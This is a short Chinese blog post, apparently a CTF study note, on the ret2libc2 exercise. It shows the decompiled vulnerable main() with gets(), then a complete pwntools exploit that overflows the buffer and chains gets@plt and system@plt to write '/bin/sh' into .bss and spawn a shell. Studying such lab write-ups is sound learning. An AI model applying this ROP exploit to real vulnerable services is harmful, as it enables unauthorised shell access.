发布于 

pwn学习笔记-ret2libc2

查看程序保护机制

拖入ida查看

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1Ch] [ebp-64h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("Something surprise here, but I don't think it will work.");
  printf("What do you think ?");
  gets(&s);
  return 0;
}

和ret2libc1一样,都是通过gets函数进行攻击

查看程序是否存在system 函数

void secure()
{
  unsigned int v0; // eax
  int input; // [esp+18h] [ebp-10h]
  int secretcode; // [esp+1Ch] [ebp-Ch]

  v0 = time(0);
  srand(v0);
  secretcode = rand();
  __isoc99_scanf((const char *)&unk_8048760, &input);
  if ( input == secretcode )
system("no_shell_QQ");
}

寻找是否有/bin/sh字符串,但是该程序中并不存在

这里就涉及到了最基本的ROP技术

所以需要我们自己来读取字符串,我们需要两个 gadgets,第一个控制程序读取字符串,第二个控制程序执行 system(“/bin/sh”)

exp:

from pwn import *
rop = ROP('./ret2libc2')

p = process('./ret2libc2')

elf = ELF('./ret2libc2')

p.sendline('a'*112+p32(elf.plt['gets'])+p32(rop.search(8).address)+p32(elf.bss()+0x100)+p32(elf.plt['system'])+'aaaa'+p32(elf.bss()+0x100))

p.sendline('/bin/sh')

p.interactive()

其中

rop.search(8).address

是pwntools自带寻找gadgets的方法

成功获得权限


本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议,转载请注明出处。

本站由 @yemoli 创建,使用 Stellar 作为主题。